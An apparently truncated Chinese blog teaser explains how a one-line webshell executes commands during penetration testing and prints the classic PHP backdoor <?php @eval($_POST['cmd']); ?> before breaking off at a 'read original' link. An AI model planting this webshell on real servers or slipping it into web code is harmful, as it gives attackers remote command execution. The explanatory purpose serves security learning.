一句话木马（webshell）是如何执行命令的

      在很多的渗透过程中，渗透人员会上传一句话木马（简称webshell）到目前web服务目录继而提权获取系统权限，不论asp、php、jsp、aspx都是如此，那么一句话木马到底是如何执行的呢，下面我们就对webshell进行一个简单的分析。 首先我们先看一个原始而又简单的php一句话木马。 <?php @eval($_POST['cmd']); ?> 看到这里不得不赞美前辈的智慧。 对于

>>阅读原文<<